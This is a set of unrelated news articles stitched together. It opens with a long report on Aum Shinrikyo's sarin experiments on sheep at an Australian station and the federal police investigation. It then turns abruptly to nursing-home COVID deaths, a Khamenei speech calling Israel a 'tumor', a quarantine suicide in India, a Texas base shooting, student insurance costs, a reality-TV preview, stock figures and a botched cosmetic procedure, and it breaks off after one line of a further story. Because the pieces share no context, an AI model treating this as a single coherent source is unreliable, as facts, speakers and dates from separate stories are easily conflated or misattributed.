Aum Supreme Truth cult members tested sarin on sheep and their carcasses were found by its next owners. Australian Federal Police visited the station after the 1995 Tokyo terrorist attack and tested the skeletons of the animals (pictured)

On the morning of March 20, 1995, members of the Aum Supreme Truth sect released the nerve agent sarin on five train stations in Tokyo, then the busiest subway network in the world. The attack (pictured) killed 12 commuters and poisoned 5,500, seriously injuring more than 50

Forward scouts Kiyohide Hayakawa and Yoshihiro Inoue eventually settled on Banjawarn Station, 4,047 square kilometres of mulga and saltbush, about 14 hours' drive north-east of Perth.

The sect paid less than $500,000 for the land, avoiding foreign ownership rules by starting up two companies through an Australian citizen of Japanese decent.

Over the next 18 months the sect - also known as Aum Shinrikyo - would use this property to conduct experiments with the nerve agent sarin, a chemical weapon developed in Nazi Germany.

What the group learnt about sarin on the station would culminate in an attack on the Tokyo subway system in 1995 which would kill 12 innocent people and poison 5,500 other commuters.

Events at Banjawarn Station would become a focus of the Australian Federal Police's Operation Sea King and inform the crime-fighting body's future response to international terrorist threats.

On September 9, 1993, a party of 25 sect members including their charismatic blind guru Shoko Asahara arrived in Perth on tourist visas issued in Tokyo, immediately attracting the attention of Customs.

On September 9, 1993, a party of 25 sect members including their blind leader Shoko Asahara (pictured) arrived in Perth on tourist visas issued in Tokyo, immediately attracting the attention of Customs. The group later travelled to Banjawarn Station

Aum Supreme Truth members carried mining equipment and chemicals including hydrochloric acid to Perth in sake bottles and glass jars marked 'hand soap'. Pictured are chemicals left behind by members of the Aum Supreme Truth sect at Banjawarn Station

Banjawarn Station is 4,047 square kilometres of mulga and saltbush 14 hours' drive from Perth

The group had brought with them mining equipment and chemicals including hydrochloric acid contained in sake bottles and glass jars marked 'hand soap'.



Their arrival and what they would later do at Banjawarn Station is covered in a feature article in the latest issue of the Australian Federal Police magazine Platypus.

Customs invited them to put their hands underneath the bottles and pour it out and they said, "Oh, no, no, we don't want to do that"

Detective Leading Senior Constable Mark Creighton told the magazine an AFP officer noted the amount of excess baggage the group was carrying and the jars of acid they claimed were soap.

'Customs invited them to put their hands underneath the bottles and pour it out and they said, "Oh, no, no, we don't want to do that",' Leading Senior Constable Mark Creighton said.

'Then, apparently one of the Customs officers accidentally brushed against leader Shoko Asahara and were set upon by other sect members because they'd touched their "god".

'They could not have done anything more to draw attention to themselves. Customs basically said, "Right, we're going to go through you like a dose of salts."

The AFP removed the Aum Supreme Truth sect's 'Laboratory Door' from Banjawarn Station as evidence (pictured). 'Toyo Laboratory' was written in Japanese - a reference to sect member and Tokyo University physics graduate Toru Toyoda

Following the Tokyo terrorist attack police flew to Banjawarn station. They are pictured digging for evidence in 1996. Some of the evidence they gathered was sent to London for testing

Customs officers found ammonium chloride, sodium sulphate, perchloric acid and ammonium water, all of which was seized along with some laboratory equipment.

The group claimed to be ignorant of local laws and said they were simply planning to do some gold mining.

They paid $30,000 in excess baggage fees to cover equipment including a mechanical ditch digger, picks, petrol generators, gas masks, respirators and shovels.

Accompanying the group were six or seven Japanese girls who were under the age of 18

Leading Senior Constable Mark Creighton said the group attracted the attention of the AFP for another even more sinister reason.

'Accompanying the group were six or seven Japanese girls who were under the age of 18,' he said.

'Their parents weren't with them and the thing that struck us at the time was that this might have been child abuse because Banjawarn Station is miles from anywhere.'

Customs charged two members of the group, including 'head scientist' Seiichi Endo, with carrying dangerous goods on an aircraft and fined them $2,400 each but did not stop them proceeding.

'When the new station owners moved in they saw a particular site where a lot of sheep had perished,' Leading Senior Constable Creighton told Platypus. 'They thought, "Well, that's a bit unusual" because the sheep hadn't been shorn'. Sheep skeletons on the station are pictured

Shinrikyo Aum was founded by Shoko Asahara (pictured) in Tokyo 1984 as a belief system drawing upon elements of Indian and Tibetan Buddhism, as well as Hinduism, Christianity, yoga, and the writings of Nostradamus

That same day the sect members travelled by air and road to Banjawarn Station, where they would set up a laboratory in the homestead's kitchen.

The lab would eventually be fitted with evaporators, bunsen burners, beakers, a rock crushing machine and its own generator but eight days after the sect's arrival in Australia most of the group had flown home.

SARIN IN THE SUBWAY On the morning of March 20, 1995, members of the Aum Supreme Truth sect released the nerve agent sarin on five train stations in Tokyo, then the busiest subway network in the world. The terrorists used the tips of their umbrellas to pierce plastic bags of sarin before disembarking and escaping in getaway vehicles. The coordinated attacks killed 12 commuters and poisoned 5,500, seriously injuring more than 50. Japanese prosecutors suggested cult leader Shoko Asahara knew about planned police raids on Aum Supreme Truth facilities and ordered the attacks to divert police attention away from the group. At the cult's headquarters in Kamikuishiki police found explosives, a Russian military helicopter and a stockpile of chemicals that could be used for producing enough sarin to kill four million people. They also located cells containing prisoners and a safe holding millions of US dollars in cash and gold. Over the next six weeks more than 150 cult members were arrested. Asahara was eventually found hiding within a wall of a cult building on May 16. A subsequent trial found Asahara guilty of masterminding the Tokyo subway attack and he was sentenced to death. Asahara and 12 other cult members were executed in Tokyo in July 2018. Advertisement

A month later Asahara and several other sect members unsuccessfully applied for visas to return to Australia.

In coming weeks and months those who had remained at Banjawarn would source local chemicals to replace what was confiscated in Perth and buy earth moving equipment from Kalgoorlie, 350km south of the station.

The group bought eight mineral exploration leases from the Western Australian Government, believing that would prevent outsiders coming onto the station without their approval.

'They had the mining leases and they thought they could do what they liked,' Leading Senior Constable Creighton told Platypus.

Phyliss Thomas, an elder in the nearest Aboriginal community, would later report having seen about five people wearing 'space suits' at the property in August.

The group was standing by a twin-engine airplane while others were in the aircraft.

Bill Leaver, who delivered mail and groceries to sheep stations in the region, told the ABC he found the new occupants of Banjawarn stand-offish.

Mr Leaver, who once delivered barrels of hydrochloric acid to the station, said he witnessed a man cutting the lawn with scissors and heard strange repetitive tapes playing in the background.

Even more bizarrely, he spoke to a woman who said she was purging demons from her body by drinking mustard and salt water.

Mr Leaver told the ABC he saw no evidence the new owners had any knowledge of grazing or interest in running a sheep station.

Sect members may have thought their presence had gone largely unnoticed but by October the AFP had contacted the National Police Agency of Japan and received information including Shoko Asahara's criminal record.

'There was an officer based in Sydney we had a very good relationship with,' Leading Senior Constable Creighton said. 'And they replied very, very quickly to the effect that essentially, "these people are no good".'

Australian Federal Police travelled to Banjawarn Station in troop carriers from Kalgoorlie. Detective Superintendent Blaise O'Shaughnessy is pictured right putting on a protective mask before undertaking a search at the property

Aum Supreme Truth bought eight mineral exploration leases from the Western Australian Government, believing that would prevent outsiders coming onto the station without their approval. Police are pictured searching the property after the Tokyo subway attacks

The sect was suspected in Japan of conducting illegal activities but was classified as a religious organisation and police were wary of conducting overt investigations.

Shinrikyo Aum, founded by Asahara in Tokyo 1984, was a belief system drawing upon elements of Indian and Tibetan Buddhism, as well as Hinduism, Christianity, yoga and the writings of Nostradamus.

At its height the sect claimed tens of thousands of members.

In 1992 Asahara declared himself to be Christ and Japan's only fully enlightened master, identifying himself as the 'Lamb of God'.

Aum Supreme Truth sect members held unwavering beliefs in Asahara who encouraged them to drink 30ml bottles of his bathwater, which they bought for $300.

Headsets were rented to members with the promise of mimicking Asahara's brain waves and he offered his blood to drink as a way of achieving enlightenment.

Asahara's stated mission was to take the sins of the world upon himself, claiming he could transfer spiritual power to his followers. He prophesied a third world war instigated by the United States which only Aum members would survive.

Members of the Australian Federal Police and Western Australian Police are pictured around a campfire at Banjawarn Station as they searched the property in 1995

The Tokyo subway deaths brought international attention to Banjawarn Station in 1995. Japanese reporters are pictured at the property after news of the sarin attack broke

'A lot of the members of the sect were outcasts and excluded from society,' Leading Senior Constable Creighton told Platypus. 'They were either so intelligent that they couldn't relate to other people or they were in their own fantasy world.'

Among the information Japanese police had received about the sect was its possible link to the 1989 murder of lawyer Tsutsumi Sakamoto, who had been preparing a class action lawsuit against them.

WHAT IS SARIN GAS? Sarin is a colourless, odorless liquid used as a chemical weapon due to its extreme potency as a nerve agent. Exposure is lethal even at very low concentrations and death can occur within one to ten minutes after direct inhalation. It causes suffocation from lung muscle paralysis unless antidotes are quickly administered. Sarin is discovered in 1938 and developed in Nazi Germany. Its production is internationally outlawed. Advertisement

'We had a pretty good handle on the membership of the group and we worked closely with the Department of Immigration and Customs,' Leading Senior Constable Creighton said.

'The special police liaison officer in Tokyo made sure that their further applications for visas would be "politely refused".

'The fact that two of the group had been convicted of a really, really dangerous offence of carrying these dangerous goods on aircraft helped - in addition to all the other intelligence that we and other agencies collected.'

While authorities rejected further visa applications of known sect members, in November two adherents were granted travel documents from the Australian consulate in Osaka and went to Banjawarn where they stayed for six months.

In June the sect staged a sarin attack on the Japanese city Matsumoto, releasing gas it had tested at Banajwarn from a refrigeration truck, killing eight people and injuring more than 500.

In August it sold Banjawarn Station at a loss of $200,000 and in October the last of the group flew out of Perth and returned to Japan.

Soldiers are pictured cleaning out Kasumigaseki subway station in Tokyo after the Aum Supreme Truth attack in March 1995. The rush-hour poisoning killed 12 commuters

The little-known sect gained international attention when on March 20, 1995 it released sarin in five Tokyo train stations on what was then the busiest subway system in the world.

The new owners of Banjawarn contacted local police several days after the attacks when news broke of Aum Supreme Truth's involvement.



'When the new station owners moved in they saw a particular site where a lot of sheep had perished,' Leading Senior Constable Creighton told Platypus.

'They thought, "Well, that's a bit unusual" because the sheep hadn't been shorn - it looked like they'd been bludgeoned to death rather than shot.'

The new owners had also found laboratory equipment and containers of chemicals in the homestead.

An AFP team flew to Perth and joined local Western Australian police, then along with a government chemist drove from Kalgoorlie to Banjawarn in troop carriers laden with camping equipment.

Rescue workers are pictured carrying survivors of the Tokyo subway attacks to emergency tents on March 20, 1995. The five attacks were timed to take place simultaneously

Tokyo Fire Department officers are pictured leaving Kasumigaseki station on March 20, 1995 in Tokyo after decontaminating the subway

Investigators carried out extensive searches and testing at the site, uncovering evidence of sarin experiments that had been conducted on sheep at the property.

Forensic Officer Steve Olinder took samples from the dead animals back to Kalgoorlie where he spent a night in a motel with sheep skulls around him.

The laboratory door taken by police from Banjawarn Station is at the AFP Museum

There was also evidence the sect had plans to build nuclear weapons and had dug up uranium with an excavator.

'The teams took samples, they took statements and they brought the samples back,' Leading Senior Constable Creighton said.

'The government chemist ran the checks... and they came back positive for sarin.

'My understanding is that the chemist fell off his chair - like he'd done something wrong. But he checked it again and come back with exactly the same result.'

The samples were sent to a scientist in London who had previously found that Iraqi dictator Saddam Hussein killed thousands of Kurds in 1988 using mustard gas and nerve agents.

Information obtained by the AFP was also exchanged with the FBI and the NYPD Joint Terrorist Taskforce, which were investigating a New York chapter of Aum Supreme Truth.

Leading Senior Constable Creighton said the Tokyo sarin attacks and events at Banjawarn marked a new era of crime fighting for the AFP and sparked one of its first investigations into international terrorism.

'It was the basis of the counter terrorism legislation we take for granted today,' he told Platypus. 'It's one of the more significant investigations that I have ever taken part in.

DID AUM SUPREME TRUTH TEST A NUCLEAR BOMB AT BANJAWARN? On the night of 28 May 1993 a seismic disturbance was detected south of Banjawarn Station. It was a month after the property had been bought by the Aum Supreme Truth cult. The event sent shock waves through hundreds of kilometres of desert but was witnessed only by a few long-distance truck drivers and gold prospectors. They reported seeing a fireball in the sky and hearing a protracted low-frequency sound. No large asteroid impact was found and a mining explosion was discounted. The Urban Geoscience Division of the Australian Geological Survey Organisation determined the event 'showed similar characteristics consistent with typical seismic activity for Western Australia,' and was most likely an earthquake. Following the revelation that Banjawarn had been owned by the sect there was speculation the disturbance might have been the result of a test explosion of a nuclear device. An Australian Federal Police investigation found no evidence to support the suggestion and cult members were not believed to in Australia at the time of the event. Advertisement

'Certainly, from a world-wide perspective, probably the highest one. It's been 27 years since this and we're still talking about it.

'Not only were we speaking with the Japanese authorities, we were speaking with the FBI and preparing our submissions which eventually went to the US Senate as part of their Permanent Committee on Investigations.

'When the AFP investigations team came to their conclusions they didn't have any of the legislative tools that we take for granted now.

'There was no counter terrorism legislation. The [sect's] idea was that their actions would kick off a nuclear war between the Americans and the Russians - and that Australia would be a safe haven after this.'

Police work done before the Tokyo attack had stopped Aum Supreme Truth from establishing anything more than a small, short-lived base in Australia.

The graziers who bought Banjawarn Station alerted police to suspicious finds they had made when they learnt of the Tokyo attacks. Troop carriers are pictured taking police and supplies to the property

'At the time the Aum sect were prevented from establishing a foothold in Australia by some very determined and proactive work by Federal and Western Australian agencies,' Leading Senior Constable Creighton said.

'The AFP, Australian Customs and Department of Immigration worked together to prevent senior Aum members from returning.'

Asahara was executed with Kiyohide Hayakawa and Yoshihiro Inoue, the pair who had scouted Banjawarn, as well as Seiichi Endo, the so-called head scientist, and nine other sect members in July 2018.

Aum Shinrikyo was classified as a terrorist organisation and still exists under the name Aleph.

Cattle have replaced sheep at their one-time Australian base and there is little trace left of the cult at Banjawarn Station.

A brick barbecue built by police who searched the property remains on the site and writing on the wall of a machinery shed provides instructions in Japanese on how to start up the generator.
Contra Costa County prosecutors are investigating an Orinda nursing home where at least four residents have died and more than 50 people have been infected with the coronavirus, officials said.

The Contra Costa County district attorneys office is collaborating with state law enforcement and regulatory agencies on an investigation into the COVID-19 deaths at the facility, according to a statement from deputy district attorney Melissa Smith.

The virus has blazed through skilled nursing and assisted living facilities where elderly and chronically ill residents are vulnerable and live in close quarters.

Thirty residents have tested positive for the coronavirus at Orinda Care as of Thursday, according to data from the California Department of Public Health. At least 23 staff were infected, county officials reported in April.

At least four residents have died, although the county did not respond to a request for updated numbers in May.

State records show a lengthy record of health and safety violations at the Orinda facility, including staffing shortages, lack of cleaning protocols and a report of sexual abuse against a resident.

State officials denied three applications from Crystal Solorzano, owner of the Orinda Care Center, to operate other facilities. Her nursing home administrator license was revoked in May 2019, records show, although a spokesperson denied it.

The spokesperson for Orinda Care Center did not immediately respond to a request for comment on the district attorneys investigation.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

The California Department of Justice said in a statement that it is unable to comment on a potential or ongoing investigation.

In April, the Alameda County district attorneys office launched a probe into Gateway Care and Rehabilitation Center in Hayward where 17 residents have died of COVID-19.

Anna Bauman is a San Francisco Chronicle staff writer. Email: anna.bauman@sfchronicle.com Twitter: @abauman2
Iran's Supreme Leader Ayatollah Ali Khamenei called on Palestinians on Friday to continue their uprising against Israel, suggesting the Israeli government was a "tumor" that should be confronted until Palestinians were liberated.

"The uprising by Palestinians should continue ... fight to liberate Palestine is an obligation and an Islamic jihad ... The Zionist regime (Israel) is a cancerous tumor in the region." Iran's top authority Khamenei said in an online speech.

"The long-lasting virus of Zionists will be eliminated."

Khamenei and other senior Iranian officials have called repeatedly over the years for an end to the Jewish state, including through a referendum in the region, where Palestinians are in the majority.

Khamenei reiterated the call in his speech on Quds Day, held on the last Friday of the Muslim fasting month of Ramadan and which was declared by Ayatollah Ruhollah Khomeini, founder of Iran's 1979 Islamic Revolution.
A search is underway for a missing Mississippi man who could be in the Bessemer area.

Micheal Jones, 45, was last seen Wednesday, May 20, when he left work about 6:15 a.m. at Steel Dynamics/Severstal on Airport Road in Columbus, Miss. Family said he was supposed to return to work at 6 p.m. Wednesday but did not show up or call. His supervisor told them that is not typical for Jones.

Family on Thursday said he was reported to have been in Bessemer between 7:30 a.m. and 9:30 a.m. Wednesday. He had driven to Alabama to buy an iPhone.

Authorities said Micheal Jones was driving a gray 1993 Ford Ranger 4X4 pick-up truck. (Contributed)

Authorities said Jones was driving a gray 1993 Ford Ranger 4X4 pick-up truck. He is 5-feet, 7 inches tall, weighs 220 pounds, has a full beard and a bald head.

Anyone with information about Jones whereabouts is asked to call 911, the Lowndes County Sheriffs Office at 662-328-6788 or Golden Triangle Crime Stoppers at 1-800-530-7151.
Prohibiting crowd sizes during the battle against COVID-19 has created unique obstacles for churches.

Many have been live-streaming services for congregants since the states stay-home order went into place March 25.

Our Saviour Catholic Church is having its first drive-in service and Holy Communion this weekend.

The Rev. Tom Meyer of Our Saviour said the bishop of the Diocese of Springfield presented several possibilities for Catholic churches in central Illinois to be able to provide communion while still following social distancing rules.

The drive-in option was one way.

It was the most efficient way of bringing Holy Communion to our faithful in a way thats safe and time-efficient, Meyer said.

The first drive-in Masses will be at 4:30 p.m. Saturday and 8:30 and 10:30 a.m. Sunday in the Our Saviour School parking lot. Congregants can watch the service on their mobile devices through the Our Saviour Facebook page. After the service, Meyer said he will go to the parking lot to give communion.

Volunteers will escort people to a communion station. Congregants will be asked to return immediately to their cars afterward.

The church has issued a dispensation from the obligation to attend Mass and church members who are sick as urged to stay home.

For those who feel safe going to the parking lot, Meyer said the drive-in Mass and communion fills a need for which Catholics have been yearning.

Sacraments [like Holy Communion], for Catholics, are a source of Jesus divine life, Meyer said.

In the first couple of services, Meyer said it is possible that there may be issues that need to be ironed out, but he hopes they hope they can learn through experience.

Faith Lutheran Church is expecting to continue virtual worship for some time. Faith Lutheran Pastor Adam Dichsen said the church is using its web services to keep congregants connected.

Congregants participate in their services by recording videos that will be featured during the service. The videos include skits, readings and musical performances.

The congregants love seeing one another, Dichsen said. [The videos] help us see one another and stay connected.

Dichsen has also performed First Communions for children who were preparing for Communion before the stay-at-home order. The First Communions are performed at family homes and front porches.

This week, Dichsen performed five First Communions and Faith Lutheran will include recordings of those in this Sundays service.
Catherine Mrozinski, treasurer of the LaPorte County Agricultural Association, said Friday afternoon no decision has yet been made about the LaPorte County Fair, Indiana's oldest county fair.

She said LaPortes 4H youth organization has decided not to participate in the fair this year, but LaPortes fair has never been cancelled in its 174 year history, but this pandemic has made everyone have to stop and consider carefully.

Porter County Fair manager David Bagnall said there is no decision yet on whether to hold or cancel the Porter County Fair, which is planned for July 23 to Aug. 1. He said the county's 4H youth organization will be holding a virtual exhibition of their skills, rather than a traditional one that could be viewed at the fairgrounds.

Crown Point Mayor David Uran said Friday of the Lake County Fairs cancellation, Thats disappointing. Its a historical icon of Lake County for nearly a century.

Ellen Wilson-Pruitt, president of the Indiana Association of Fairs and Festivals, said last month, county fairs elsewhere in the state had canceled, postponed or modified their plans, especially those held next month.
Source: Xinhua| 2020-05-22 03:06:23|Editor: huaxia

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Aerial photo taken on May 14, 2020 shows a view of the county seat of Huanjiang Maonan Autonomous County, south China's Guangxi Zhuang Autonomous Region.The poverty headcount ratio in Huanjiang dropped to 1.48 percent by the end of 2019. (Xinhua/Lu Boan)

BEIJING, May 21 (Xinhua) -- China will complete the goals of poverty alleviation as scheduled this year, despite the impact of the COVID-19 epidemic, a spokesperson said on Thursday.

The epidemic has presented new challenges and difficulties to the work of poverty eradication, Zhang Yesui, the spokesperson for the third session of the 13th National People's Congress (NPC), told a press conference.

"For instance, poor migrant laborers cannot go out to work, poor households suffer from financial losses in their operations, work of poverty-relief teams is disrupted, and anti-poverty businesses and programs have been put on hold," he said.

Important measures have been put forward to support the employment of poor laborers, boost sales of products in poor regions, support the resumption of local industries and projects, and provide assistance to those who are impoverished or fall back to poverty as a result of the epidemic, Zhang said.

"These measures, when they have been implemented and taken hold, will minimize the damages caused by COVID-19 and China's target on poverty alleviation will surely be met as scheduled," he said.

Once this is realized, it will be a milestone in the cause of poverty reduction both in China and in the world, he added.

The NPC and its standing committee will give priority to poverty-related legislative and supervision work and also leverage the roles of deputies of all levels, in a bid to contribute to building a moderately prosperous society in all respects and winning the battle against poverty, he said. 
A man, who had returned from Mumbai to his native place in Karnataka on Wednesday and was sent to quarantine, reportedly committed suicide. The police said that the man hanged himself on Thursday morning.

He was working at a hotel in Mumbai and had managed to come back to his native place Moodabidri after inter-state travel was allowed, the police said.

However, since he had come from a different state, the 51-year-old was put into mandatory institutional quarantine functioning at a school. The police said that he was stressed about his employment prospects due to the Covid-19 lockdown and that appears to be the reason why he killed himself.

The man is survived by three daughters and a wife. His body has been shifted to the district government hospital for post-mortem and police have launched an investigation.

This is the second instance of a person under quarantine killing themselves. In a similar incident on April 27, a 50-year-old Covid-19 positive patient had leapt to death from the third floor of a hospital where he was being treated.

Meanwhile, there is growing opposition by residents of various localities in Karnataka where quarantine facilities are set-up. On Wednesday, residents of Bapujinagar in Shivamoga had attacked a hostel, which had been designated as a quarantine facility for those coming back from Mumbai, destroying furniture and other equipment.

Earlier, residents of Giringar in Bengaluru and Anekal on the outskirts of the city had staged similar protests. Their main concern was that infected people may spread the disease among the people of that area. However, a health department official said this kind of NIMBY (not in my back yard) pheonomenon was not acceptable and while government would strive to ensure that it took all precautions, people cannot take law into their hands.
Chinese space scientists and engineers have finished testing key technologies for space-based gravitational-wave detection with a dedicated satellite.

After the Tianqin-1 satellite was launched on Dec. 20, 2019, six key technologies have been tested over the past six months, including high-precision inertial sensing and micro-Newton propulsion, both of which are necessary to detect gravitational waves in space, said Luo Jun, president of Sun Yat-sen University and an academician of the Chinese Academy of Sciences.

"The test results are better than the mission requirements," Luo said on Thursday.

Tianqin-1 is the first technological experimental satellite of the Tianqin project, which started its systematic development from the university in south China's Guangdong Province in 2015. The project of Tianqin, meaning "harp in the sky," will consist of three satellites forming an equilateral triangle around the earth. When gravitational waves come, the "harp's strings will be plucked," according to Luo.

Gravitational waves are "ripples" in the fabric of space-time caused by some of the most violent and energetic processes in the universe. Albert Einstein predicted the existence of gravitational waves in 1916 in his general theory of relativity.

The first-ever discovery of gravitational waves by the American Laser Interferometer Gravitational-Wave Observatory (LIGO), announced in February 2016, has encouraged scientists worldwide to accelerate their research.

Different from LIGO, the space-based probes will be used to detect gravitational waves at much lower frequencies, such as those from the merging of massive black holes.
A shooting at a Texas naval air station that wounded a sailor and left the gunman dead early Thursday was being investigated as "terrorism-related," the FBI said, but divulged few details as to why.

The suspect was identified as Adam Alsahli of Corpus Christi, according to three officials familiar with the investigation who were not authorized to speak publicly and spoke to The Associated Press on condition of anonymity.

At about 6:15 a.m., the gunman tried to speed through a security gate at Naval Air Station Corpus Christi, opening fire and wounding the sailor, a member of base security, U.S. officials told the AP. But she was able to roll over and hit the switch that raised a barrier, preventing the man from getting onto the base, the officials said.

Other security personnel shot and killed the man.

There was an initial concern that he may have an explosive device, but Navy experts swept the area and the car and found nothing. The officials spoke on condition of anonymity to discuss details about an ongoing investigation. Officials were still working to process the crime scene late into the day and had recovered some type of electronic media.

The base was on lockdown for about five hours, but it was lifted shortly before noon. The main gate was reopened, though the gate where the incident occurred was still shut down.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

FBI Supervisory Senior Resident Agent Leah Greeves said at a news conference that investigators were working to determine whether a second person of interest was at large but did not elaborate.

She also would not discuss a potential motive or specify what led investigators to believe the shooting was related to terrorism.

"We have determined that the incident this morning at the Naval Air Station Corpus Christi is terrorism-related," Greeves said. "We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving."
Students who choose to purchase health insurance plans offered by the University of Nebraska, and who subsequently access coverage more often, will see their premiums more than double next year.

Annual premiums for single students will increase from $3,057 to $6,669 in the coming school year, while family plan premiums will jump from $8,928 to $19,764, according to a letter sent to students Friday.

Meanwhile, a vast majority of graduate students and their dependents who are automatically enrolled in NU health insurance plans will see a modest increase of 2% in their premiums.

For single graduate students, that means theyll pay $3,119 for health insurance next year, while those with families can expect to pay $9,114 for coverage.

Chris Kabourek, NUs vice president for business and finance, said a committee of students, faculty and staff worked alongside a consultant to study how the plans were being utilized, as well as how they compared to plans offered at universities across the country.

The committee found students who voluntarily purchased a health insurance plan from United Healthcare through NU  unpaid graduate students, or those who otherwise don't have health insurance  accounted for 20% of the total pool, but 35% of its claims.

That meant 80% of the people in the plan, categorized as the "mandatory group"  graduate students employed by NU, international students and full-time students at the University of Nebraska Medical Center  were using their coverage less, essentially subsidizing the voluntary group, Kabourek said.

Choices were presented to the committee on how to move forward, but according to NU's chief financial officer, neither was advantageous.

The committee considered leveling a 20% to 30% increase in premiums to all 5,000-plus plans, as well as a second option to bifurcate the two groups and assign higher costs to the group that utilized the plan more.

Committee members chose the latter this year.

But, the university told students who will see a more than 100% increase in health insurance costs, the plan remains a better and more cost-effective option than any plan available on the federal health care exchange, which start at $7,500 for a single student before subsidies.

While premiums are going up, coverage, deductibles, prescription drug copayments and out-of-pocket maximums all remain the same, NU said.

Shawn Ratcliff, a past president of the Graduate Student Assembly at the University of Nebraska-Lincoln who was on the committee, said students appreciated having a seat at the table, even if it went through what he described as a "top-down" process.

"I did feel listened to, but we were still given options; we didn't get to choose the options," he said. "I personally find the one we went with the worse of the two options, but better than the other two options we were given."

Ratcliff said the finalized insurance plans may make it harder for graduate students in unfunded positions to remain at the university, where they teach and conduct research in addition to pursuing their own education.

He said financial stress brought on by the coronavirus pandemic may exacerbate the situation for some students, who may have lost jobs they used to cover living expenses.

This year's increases come a year after NU walked back a plan to assess a 20% premium hike to all graduate student insurance plans last year. When students complained, NU offered to cover much of the increases through a one-time infusion of private funds.

That wasn't doable a second time, Kabourek said. While the university wanted to ensure students had a voice, administrators understand the outcome can be difficult to swallow.

"There's no good options here," he said.

Reach the writer at 402-473-7120 or cdunker@journalstar.com. On Twitter @ChrisDunkerLJS

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David may have just met his longtime Ukrainian girlfriend Lana, but he's already thinking about taking their relationship to the next level.

In a sneak peek at Sunday's episode of 90 Day Fiance: Before the 90 Days, David and Lana spend time together after finally meeting in person following multiple failed attempts.

"It's our second date together," he says. "Lana and I have had a great time."

The two are seen walking arm-in-arm before stopping to take a few photos at Lana's request.

"It makes me feel really good that things are getting better and better," he adds.

RELATED: 90 Day Fiance's David and Lana Finally Meet in Person: 'Oh My God, That's Her!'

But David has more than just a romantic stroll on his mind. The Las Vegas native wants to start discussing the next steps of their relationship.

TLC

"Lana and I are going to dinner. I want to do something more romantic because I only have a few days left in Ukraine," he says. "I need to talk to Lana about getting engaged before I leave."

David and Lana's budding relationship came as a surprise to many viewers. Last week's highly anticipated meet-up came after David returned to the U.S. without meeting Lana after seven years of chatting online.

RELATED: 90 Day Fiance Star Ed Brown's Most Iconic Moments

In the previous few episodes, David flew out to Ukraine but was stood up by Lana after she agreed to meet him at a train station. After the failed attempt, he made another plan to meet Lana at a local restaurant  but she never showed.

After returning to the U.S., he decided to give it one last shot and traveled back to Ukraine.

David, a cat-loving computer programmer, swore off American women forever after a series of failed relationships. Having always been attracted to Slavic beauties, he tried his luck on a Ukrainian dating website and fell in love with Lana.

90 Day Fiance: Before the 90 Days, airs Sundays at 8 p.m. ET on TLC.
Infosys Ltd is quoting at Rs 688.7, up 2.45% on the day as on 12:49 IST on the NSE. The stock is down 1.76% in last one year as compared to a 22.82% fall in NIFTY and a 11.22% fall in the Nifty IT.

Infosys Ltd is up for a fifth straight session in a row. The stock is quoting at Rs 688.7, up 2.45% on the day as on 12:49 IST on the NSE. The benchmark NIFTY is down around 1.2% on the day, quoting at 8996.75. The Sensex is at 30524.37, down 1.32%. Infosys Ltd has added around 1.38% in last one month.

Meanwhile, Nifty IT index of which Infosys Ltd is a constituent, has added around 5.09% in last one month and is currently quoting at 13647.9, up 1.08% on the day. The volume in the stock stood at 83.85 lakh shares today, compared to the daily average of 88.14 lakh shares in last one month.

The benchmark May futures contract for the stock is quoting at Rs 686.1, up 2.39% on the day. Infosys Ltd is down 1.76% in last one year as compared to a 22.82% fall in NIFTY and a 11.22% fall in the Nifty IT index.

The PE of the stock is 18.58 based on TTM earnings ending March 20.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A beauty-conscious woman has been left devastated after botched plastic surgery gave her what she called a 'permanent frown'.

The young Chinese woman, known by her surname Xie, now looks constantly upset due to failed cheek fillers she had paid 920 for.

Footage released by local media shows Ms Xie, with a nonstop confused look on her face, describing the cosmetic nightmare.

The beauty-lover (pictured), known by her surname Xie, recently visited a cosmetic clinic in Hangzhou city of eastern China to undergo a facelift procedure on May 7, local media reported

The Chinese resident, Ms Xie, said that she initially visited the cosmetic clinic in April to receive some non-surgical facial treatments - but ended up having a nose repair and brow-lift

Ms Xie recently visited a cosmetic clinic in Hangzhou city of eastern China to undergo a facelift procedure.

She was persuaded by the staff consultants who suggested her also to receive cheek fillers to 'boost the effect', according to the local press.

Ms Xie was horrified to discover that the surgery had changed her appearance for the worse.

The beauty clinic claimed that the frowning expression occurred due to after-surgery swelling that would eventually disappear.

Ms Xie said that she initially visited the cosmetic clinic in April to receive some non-surgical facial treatments - but ended up having a nose repair and brow-lift.

'I had my nose done previously, but it was kind of a failure,' Ms Xie told Zhejiang Television. '[After the repair,] the shape of my nose looked much better than before. I thought this clinic was trustworthy.'

The woman went back again for a facelift operation on May 7. The clinic staff convinced Ms Xie to get cheek injections to achieve the perfect look.

'They told me if I do [the procedures] altogether, the effect would be much better,' the Hangzhou resident said.

The beauty consultants also guaranteed the woman that the facial fillers would look very natural without needing much recovery time.

Ms Xie spent a total of nearly 20,000 yuan (2,300) on the two facial operations. The cheek fillers cost her over 8,000 yuan (920).

Ms Xie spent a total of nearly 20,000 yuan (2,300) on the two facial operations, of which the cheek fillers cost her over 8,000 yuan (920). The picture shows the woman being interviewed

The beauty lover was furious to see the botched injections had left her face with a permanent frown after nearly two weeks. Pictured, Ms Xie speaks with the clinic manager, Mr Fang

The beauty lover was furious to see the botched injections had left her face with a permanent frown after nearly two weeks.

'The corners of my eyes are being lifted upwards. I'm unhappy about the shape of my face [as well],' Ms Xie added. 'I look quite scary.'

The Chinese woman demanded the clinic to give her a refund of the facial fillers.

A manager from the beauty centre, known by his surname Fang, explained that the woman's frown was caused by swelling after receiving multiple procedures in a short space of time.

Mr Fang said that it would take a longer time for Ms Xie's face to return to normal.

'Because she had surgery along with the fillers, the final result still hasn't shown.' the manager told the reporter. 'Once she fully recovers, it would look much nicer.'

Mr Fang claimed that the staff members who consulted the woman were 'new and inexperienced'.

The manager told Ms Xie that the clinic would claim full responsibility if her face remains swollen after another month. He also offered Ms Xie some extra treatments for free.

But the woman said that she would not receive any surgery from the cosmetic hospital anymore.
Sister Krista von Borstel was among roughly 100 summer camp operators who participated in a conference call with Gov. Kate Browns staff earlier this month.

